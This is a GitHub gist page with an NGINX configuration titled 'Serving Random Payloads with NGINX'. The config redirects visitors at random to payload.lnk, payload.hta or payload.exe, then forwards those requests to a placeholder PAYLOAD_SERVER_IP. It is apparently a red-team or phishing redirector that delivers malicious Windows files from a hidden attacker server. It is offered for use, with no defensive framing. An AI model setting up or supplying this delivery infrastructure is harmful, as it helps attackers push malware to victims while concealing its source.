Forked from jivoi/gist:a33ace2e25515a31aa2ffbae246d98c9
Created
January 31, 2023 07:26
-
-
Save bogdanRada/5cf612342b44501a81e5740fa35f6ff5 to your computer and use it in GitHub Desktop.
Serving Random Payloads with NGINX
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Serving Random Payloads with NGINX | |
# add set_random module https://github.com/openresty/set-misc-nginx-module#set_random | |
# edit file /etc/nginx/sites-enabled/default | |
set_random $uri 1 3; | |
map $uri $payloads { | |
1 /payload.lnk; | |
2 /payload.hta; | |
3 /payload.exe; | |
} | |
server { | |
listen 80 default_server; | |
listen [::]:80 default_server; | |
server_name _; | |
root /var/www; | |
index index.html; | |
location ^/payload/?$ { | |
rewrite ^/payload/?$ /$payloads redirect; | |
} | |
location ^/payload\.(exe|lnk|hta) { | |
rewrite ^/payload\.(exe|lnk|hta) http://PAYLOAD_SERVER_IP$request_uri redirect; | |
} | |
location / { | |
try_files $uri $uri/ =404; | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment